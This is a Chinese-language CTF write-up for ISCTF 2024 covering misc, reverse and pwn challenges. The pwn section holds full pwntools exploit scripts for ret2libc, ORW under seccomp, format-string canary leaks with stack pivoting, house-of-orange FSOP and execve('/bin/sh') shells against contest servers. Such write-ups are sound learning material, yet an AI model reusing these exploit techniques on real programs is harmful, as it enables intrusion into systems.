ISCTFwp

WriteUp

Misc

小蓝鲨的签到01

扫码即得flag

小蓝鲨的签到02

strings命令查找即得flag

游园地1

开盒题都在武汉江汉路附近,武带人狂喜

谷歌搜图,https://news.qq.com/rain/a/20231023A06PFW00 就有个极其相似的地方,查得此地为武汉中山公园。
故flag为ISCTF{湖北省_武汉市_江汉区_中山公园}

游园地2

继续谷歌搜图,https://www.taptap.cn/moment/592096524821860169 有个几乎一模一样的图,看评论区知道这个是【充能国安路】的原型。
搜充能国安路,https://blog.l3zc.com/2023/08/wuhan-trip/#%E5%85%85%E8%83%BD%E5%9B%BD%E5%AE%89%E8%B7%AF 这里搞出了游戏名和原型街道,高德一搜竟然还是武汉江汉区的地方(你们二次元是有多喜欢江汉路啊)
得到flag:ISCTF{湖北省_武汉市_江汉区_鸣笛1988商业街_恋爱绮谭}

Reverse

EzRe

动调发现核心加密逻辑在这里:
alt text
又知道加密后的字符串QKEMK{7JB5_i5_W3SllD_3z_W3},直接解密即可:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
key = "ISCTF"
sercet = "QKEMK{7JB5_i5_W3SllD_3z_W3}"
flag = []
j = 0
"""
(flag + key)%26 + "A" = QKEMK{7JB5_i5_W3SllD_3z_W3}
"""
for i in sercet:
if ord(i) < ord("A") or ord(i) > ord("Z"):
flag.append(i)
j+=1
continue
o = ord(i)-ord(key[j%5])

o = o%26 + ord("A")
print(o)
flag.append(chr(o))
j+=1

print("".join(flag))

你知道.elf文件嘛

拖进IDA发现竟然全是LOAD段,无从下手,干脆先随便执行一下算了……执行后发现只要按要求输入base64码表即可get flag。
alt text

《回忆安魂曲》–第二章:当记忆被割裂

拖进IDA尝试F5反编译,几乎所有函数都飘红冒出JUMPOUT,显然是花指令。观察发现程序实际上是把地址加载到栈上,再利用复杂的指令进行jmp rax跳转。尝试nop+patch恢复似乎没什么卵用,毕竟栈帧调用及其费解,难以恢复正常。
做这题的是pwn手,于是在IDA调试没出什么成果的情况下果断采用pwndbg调试,终于缕清了程序逻辑:

发现数据段上有ans和key,基本上就是answerkey了。利用pwndbg逐步审计汇编代码,发现程序的加密函数enc逻辑如下:

  1. 设当前字符为now,索引为i
  2. now ^= (0x66+i)
  3. now ^= 0x52
  4. now += 6
  5. now ^= (key[i]+i)

缕清了加密逻辑、找到了密文和密钥之后,解密就不难了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
ans = b"\xea\x0c\x1a\x11\xf6\x2c\x1d\x3e\x17\x35" \
b"\x29\xf4\x39\x39\xd3" \
b"\xc3\x2d\x00\x10\x30\x3d\xcc\x00\xd3\xc0" \
b"\x4b\xc6\x11\xc7\x29\x3e" \
b"\xba\x60\x90\x34"

key = b"i_can_reverse_but_i_can_not_have_you"
l = []

for i in range(len(key)):
now = ans[i]^(key[i]+i)
now -= 6
now ^=0x52
now ^= (0x66+i)
now %=128
l.append(chr(now))
print(''.join(l))

《回忆安魂曲》–第三章:逃不出的黑墙

迷宫题,先从IDA中把迷宫提出来,再让AI写个BFS脚本查路径就行了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
puzzle = [
"###############################P#...............#...#.......#.###",
"##.###.#####.#.###.#####.#.....#...#.#.....#...#.#...#.#####.#.##",
"#.#.#######.#.#.###.#C..#.#.#...#.#...#...#.#.#...#.#.#.#.#.###.#",
".#.#.###.#.#.#.#.#.#.#.#...#...#.#.......#.#.#.###.#.###.#####.##",
"#######.###.#...#...#.....#.#.......#...#.#.#####.#####.#.#.#####",
".###.#...#...#...#...#...#...#.#...#.###.#.###.#.#######.#.#.#.#.",
"#...#.#.#...#.#...#...#...#.#.###.#.#.#####.#.#.#.#######.###.#..",
".#.....#...#.#.#...#.....#.#########.#####.#.###.#.###.#.#.....#.",
"#...#...#...#...#.#.#.#.#.#.#.###.#.#####.###.#.#.#...#.#...#.#..",
".#...#...#...#.#.###.###.#.#####.#.###.###.#.#...#.#.#.......#.#.",
"..#.#...#.#####.#.#######.#.#####.#.###.#...#.#.......#.#...#...#",
".#..E#.#.#.#.#######.###.#.#####.#.#.#...#.............#.....#.#.",
"#.###############.#######.#.#.#.........#...#...#.....#...#.#.###",
"####.#.#.#####.#.#######.#.......#...#.......#........."
]
puzzle = "".join(puzzle)
p = []
for i in range(0, len(puzzle), 30):
p.append(list(puzzle[i:i+30]))

for j in p:
print(j)

"""
##############################
#P#...............#...#.......
#.#####.###.#####.#.###.#####.
#.....#...#.#.....#...#.#...#.
#####.#.###.#.#######.#.#.###.
#...#.#.#...#.#...#...#.#.#...
#.#.#.#.#.###.#.#.#.###.#.#.#.
#.#.#.#.#...#...#.#.......#.#.
#.###.#.###.#####.#########.##
#.#...#...#.....#.#.......#...
#.#.#####.#####.#.#.#####.###.
#...#...#...#...#...#...#.#...
#.###.#.###.#.#######.#.#.#.#.
#...#.#.#...#.#...#...#...#.#.
###.#.#.#####.#.#.#.#######.##
#.#...#.....#...#.#.#...#.....
#.#########.#####.#.###.#.###.
#.#.....#.#...#...#...#...#.#.
#.#.#.#.#.###.#.#####.###.#.#.
#...#.#...#.#...#...#...#...#.
#.###.###.#.#####.#.###.###.#.
#...#.#.#.......#.#...#.#...#.
#####.#.#######.#.#####.#.###.
#...#.#.......#.#...#...#.#..E
#.#.#.#.#######.###.#.#####.#.
#.#...#.............#.....#.#.
#.###############.#######.#.#.
#.........#...#...#.....#...#.
#.#######.#.#.#####.#.#######.
#.......#...#.......#.........
"""


from collections import deque

def solve(l, startX, startY, row, col):
# 定义方向向量,上下左右分别为 w, s, a, d
directions = {'l': (-1, 0), 'o': (1, 0), \
'v': (0, -1), 'e': (0, 1)}
# 初始化队列
queue = deque([(startX, startY, "")]) # 存储坐标和路径
visited = set((startX, startY)) # 记录访问过的节点

# BFS 遍历
while queue:
x, y, path = queue.popleft()

# 如果到达终点
if l[x][y] == 'E':
return path

# 遍历四个方向
for direction, (dx, dy) in directions.items():
nx, ny = x + dx, y + dy

# 检查边界和是否已访问以及是否为墙
if 0 <= nx < row and 0 <= ny < \
col and (nx, ny) not in \
visited and l[nx][ny] != '#':
visited.add((nx, ny))
queue.append((nx, ny, path + direction))

return "No path found"


print(solve(p, 1, 1, 30 ,30))

Pwn

Netcat

nc就给flag,甚至不用cat。哪怕是签到题也显得过于简单了。

girlfriend

普通的ret2text,给了后门函数,数组索引越界。需要注意的是溢出会覆盖i,i的值必须精心布置才行;另外要ret到那个lea指令处,防止栈不对齐导致错误。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ['wt.exe', 'wsl']
e = ELF("./pwn")

# io = process("./pwn")
# io = gdb.debug("./pwn", """b main""")
io = remote("27.25.151.12",20162)

io.sendafter(b"first i need your team id\n", b"a"*40 + b"admin\x00")

for i in range(7):
io.sendlineafter(b"birthday\n", b"5")


io.sendlineafter(b"birthday\n", b"4198942")
io.interactive()

ret2orw

板子题,开了沙箱禁用execve,用ret2libc同款手法打orw即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ['wt.exe', 'wsl']
libc = ELF("./libc.so.6")
e = ELF("./pwn")
puts_plt = e.plt["puts"]
puts_got = e.got["puts"]
pop_rdi = 0x4012ce
ret = pop_rdi + 1
main = 0x4012a1
bss = 0x4040a0
flag = bss + 0x100

print(shellcraft.open("./flag"))
# io = process("./pwn")
# io = gdb.debug("./pwn", """b main
# b vuln
# """)
io = remote("27.25.151.12",20347)
get_libc = b"a"*32 + b"b"*8 + p64(pop_rdi) + p64(puts_got) \
+ p64(puts_plt) + p64(main)
io.sendafter(b"oh,what's this?\n", get_libc)
puts_addr = u64(io.recvuntil(b'\x7f').ljust(8,b'\x00'))
libc_base = puts_addr - libc.sym["puts"]
open_addr = libc_base + libc.sym["open"]
read_addr = libc_base + libc.sym["read"]
pop_rsi = libc_base + 0x2be51
pop_rdx = libc_base + 0x11f2e7


payload = b"c"*32 + b"d"*8
payload += p64(pop_rsi) + p64(bss) + p64(read_addr)
payload += p64(pop_rdi) + p64(bss) + p64(pop_rsi) + p64(0) +\
p64(pop_rdx) + p64(0) + p64(0)+ p64(open_addr)
payload += p64(pop_rdi) + p64(3) + p64(pop_rsi) + \
p64(flag) + p64(pop_rdx) + p64(0x100) + p64(0)+ p64(read_addr)
payload += p64(pop_rdi) + p64(flag) + p64(puts_addr)

io.send(payload)
pause()
io.send("./flag")
io.interactive()

ez_game

普通的打随机数,好处是可以栈溢出控制seed,不会有远程和本地时间差导致的错误。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ['wt.exe', 'wsl']
libc = ELF("./libc.so.6")
e = ELF("./pwn")
from ctypes import *
sh = 0x4012fc
# io = process("./pwn")
io = remote("27.25.151.12", 33258)
lib = cdll.LoadLibrary("libc.so.6")

io.sendlineafter(b"Enter your username: ", b"a"*400 + p64(0))

lib.srand(0)
def r():
res = lib.rand()
if res < 0:
res %= 7
res -= 7
res += 1
else:
res %= 7
res += 1
return str(res).encode()


for i in range(20001):
io.sendline(r())

io.interactive()

0verf10w

非常恶心,格串+canary绕过+ret2libc+栈迁移。首先利用格串漏洞把程序基地址、libc基地址、栈地址、canary值全部leak出来,此时main函数的canary已损坏,不过我们一会儿可以打栈迁移绕过检查,不必理会;接下来利用vuln函数里的off-by-one,覆盖rbp指向的位置的低字节,实现栈迁移,这样就可以劫持控制流重启main了。接下来就常规ret2libc打通即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ['wt.exe', 'wsl']
libc = ELF("./libc.so.6")
e = ELF("./pwn")

# io = process("./pwn")
# io = gdb.debug("./pwn", """b main
# b vuln
# """)
io = remote("27.25.151.12", 26250)

io.sendlineafter(b"By the way, can you tell me your name before that?\n", b"a")
get_canary = b"a"*8 + b"%29$p" + b"%15$p" + b"%13$p" + b"%11$p" + b"0x\x00"
io.sendafter(b"Great, I've decided to give you a gift!\n", get_canary)
io.recvuntil(b"0x")
canary = int(io.recvuntil(b"0x")[:-2].decode(), 16)
log.success(f"canary>>> {hex(canary)}")
stack = int(io.recvuntil(b"0x")[:-2].decode(), 16) - 0x160
log.success(f"stack>>> {hex(stack)}")
main = int(io.recvuntil(b"0x")[:-2].decode(), 16)
log.success(f"main>>> {hex(main)}")
libc_base = int(io.recvuntil(b"0x")[:-2].decode(), 16)
log.success(f"libc_start>>> {hex(libc_base)}")

libc_base = libc_base - libc.sym["__libc_start_main"]-128+176
puts_addr = libc_base + libc.sym["puts"]
system_addr = libc_base + libc.sym["system"]
binsh_addr = libc_base + next(libc.search(b"/bin/sh"))
pop_rdi = libc_base + 0x2a3e5
ret = pop_rdi+1
log.success(f"libc_base>>> {hex(libc_base)}")
log.success(f"puts>>> {hex(puts_addr)}")
off = stack&0xff


payload1 = p64(canary) + b"e"*8 + p64(main) + p64(canary) + p8(off)
io.recvuntil(b"again?????\n")
sleep(3)
io.send(payload1)


payload2 = b"c"*(0x14-0x8)
payload2 += p64(canary)+ b"d"*8 \
+ p64(pop_rdi) + p64(binsh_addr) + p64(ret) + p64(system_addr)
io.sendlineafter(b"By the way, can you tell me your name before that?\n", \
payload2)
io.sendafter(b"Great, I've decided to give you a gift!\n", b"a")
io.sendafter(b"again?????\n", b"a")

io.interactive()

orange

ByteCTF2024原题,只不过去了符号表、加了花指令。nop掉花指令后分析,发现没有free,考虑house of orange攻击,利用unsorted bin泄露libc和堆地址后打IO即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
from pwn import *
from struct import pack
from ctypes import *

from LibcSearcher import *


def s(a):
p.send(a)
def sa(a, b):
p.sendafter(a, b)
def sl(a):
p.sendline(a)
def sla(a, b):
p.sendlineafter(a, b)
def r():
p.recv()
def pr():
print(p.recv())
def rl(a):
return p.recvuntil(a)
def inter():
p.interactive()
def debug():
gdb.attach(p)
def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
context(os='linux', arch='amd64', log_level='debug')
# p = process("./pwn")
p = remote("27.25.151.12", 32784)
libc = ELF("./libc-2.27.so")
elf = ELF('./pwn')
menu = b"Enter \n"
def add(size):
p.sendlineafter(menu, b"1")
p.sendlineafter(b"size\n", str(size).encode())

def show(index):
p.sendlineafter(menu, b"3")
p.sendlineafter(b"index\n", str(index).encode())

def edit(index,size, payload:bytes):
p.sendlineafter(menu, b"4")
p.sendlineafter(b"index\n", str(index).encode())
p.sendlineafter(b"size\n", str(size).encode())
p.sendlineafter(b"input\n", payload)


def pwn():
add(0x100)#0
edit(0,0x110,b'a'*0x108+p64(0xca1))
add(0x1000)#1
add(0xc70)#2
show(2)
p.recvuntil('2: ')
libc.address = u64(p.recv(6).ljust(8,b'\x00'))-0x3ebca0
print('libc:',hex(libc.address))
stdout = libc.address+0x3ec760
wfile_jump = libc.address+0x3e7d60
add(0xdb0)#3
add(0x10)#4
edit(4,0x20,b'a'*0x18+p64(0x211))
add(0xdc0)#5
add(0x10)#6
edit(6,0x20,b'a'*0x18+p64(0x211))
add(0x1000)#7
edit(6,0x28,b'a'*0x18+p64(0x1f1)+p64(stdout))
fake_io = flat({
0x0: b' sh',
0xa0: p64(stdout-0x130+0xd8),
0x10: p64(libc.symbols['system']),
0x20: p64(stdout),
0x98: p64(stdout-0x20+0x80),
0xd8: p64(wfile_jump + 0x48 - 0x38),
0x60: b'/bin/sh\x00',
0x80: p64(libc.symbols['system']),
0x88: p64(stdout - 0x30),
0xe0: p64(stdout - 8),
}, filler=b'\x00')
add(0x1e0)#8
add(0x1e0)#9
edit(9,len(fake_io),fake_io)
p.interactive()
pwn()

小蓝鲨stack

ret2libc板子。注意printf需要栈对齐,也包括重启main后的printf,需要用ret对齐。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ['wt.exe', 'wsl']
libc = ELF("./libc-2.31.so")
e = ELF("./pwn")


# io = process("./pwn")
# io = gdb.debug("./pwn", """b main""")
io = remote("27.25.151.12", 36450)
main = 0x4011df
puts_got = e.got["printf"]
puts_plt = e.plt["printf"]
pop_rdi_ret = 0x401293
ret = 0x401294

payload = b"a"*32 + b"b"*8 + p64(pop_rdi_ret) + p64(puts_got) \
+p64(ret) +p64(puts_plt) + p64(ret)+ p64(main)
io.send(payload)
io.recvuntil(b"\x40")
puts_addr = u64(io.recvuntil(b"\x7f").ljust(8, b"\x00"))
log.success(f">>>{hex(puts_addr)}")
libc_base = puts_addr - libc.sym["printf"]
system_addr = libc_base + libc.sym["system"]
binsh_addr = libc_base + next(libc.search(b"/bin/sh"))

payload = b"c"*32 + b"d"*8 + p64(pop_rdi_ret) + p64(binsh_addr) \
+ p64(ret) + p64(system_addr)
io.send(payload)
io.interactive()

syscall

给了3次syscall的机会,利用shmget+shmatleak libc,拿出/bin/sh地址,再execve即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ['wt.exe', 'wsl']
libc = ELF("./libc.so.6")
e = ELF("./pwn")

# io = process("./pwn")
# io = gdb.debug("./pwn", """b main
# b *(*main+64)
# b *(*main+312)
# """)
io = remote("27.25.151.12", 20415)
io.sendlineafter(b": ", b"29")
io.sendlineafter(b": ", b"0")
io.sendlineafter(b": ", b"1000")
io.sendlineafter(b": ", b"8630")
io.sendlineafter(b": ", b"30")
io.sendlineafter(b": ", b"0")
io.sendlineafter(b": ", b"0")
io.sendlineafter(b": ", b"0")
io.recvuntil(b"result:")
io.recvuntil(b"RAX: ")
printf_addr = int(io.recvuntil(b"000").decode()[2:], 16) - 2144528 + 0xa000
log.success(f">>> {hex(printf_addr+2144528-0xa000)}")
log.success(f">>> {hex(printf_addr)}")
libc_base = printf_addr - libc.sym["printf"]
binsh_addr = libc_base + next(libc.search(b"/bin/sh"))
payload = str(binsh_addr).encode()
io.sendlineafter(b": ", b"59")
io.sendlineafter(b": ", payload)
io.sendlineafter(b": ", b"0")
io.sendlineafter(b": ", b"0")

io.interactive()


ISCTFwp
https://powchan.github.io.git/2024/11/16/ISCTFwp/
作者
powchan
发布于
2024年11月16日
许可协议